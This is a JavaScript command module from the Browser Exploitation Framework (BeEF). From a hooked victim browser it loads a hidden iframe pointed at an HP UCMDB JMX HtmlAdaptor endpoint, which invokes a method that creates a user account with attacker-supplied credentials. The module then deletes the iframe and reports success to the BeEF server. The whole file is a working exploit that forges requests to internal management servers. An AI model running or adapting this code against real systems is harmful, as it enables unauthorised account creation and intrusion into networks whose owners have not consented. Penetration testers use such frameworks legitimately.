/*
 * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
 * Browser Exploitation Framework (BeEF) - http://beefproject.com
 * See the file 'doc/COPYING' for copying permission
 */

beef.execute(function() {	
var protocol = '<%= @protocol %>';
var host = '<%= @host %>';
var port = '<%= @port %>';
var usertype = '<%= @usertype %>';
var customerid = '<%= @customerid %>';
var username = '<%= @username %>';
var password = '<%= @password %>';

var url = protocol + '://' + host + ':' + port + '/' + 'HtmlAdaptor?action=invokeOpByName&name=UCMDB:service=Security%20Services&methodName=' + usertype;
url += '&arg0=' + customerid + '&arg1=' + username + '&arg2=' + password;

if (usertype == 'createIntegrationUser'){
	url += '&arg3=';
}

var ucmdb_iframe = beef.dom.createInvisibleIframe();
ucmdb_iframe.setAttribute('src', url);

cleanup = function() {
    document.body.removeChild(ucmdb_iframe);
}
setTimeout("cleanup()", 15000);

beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed");
});
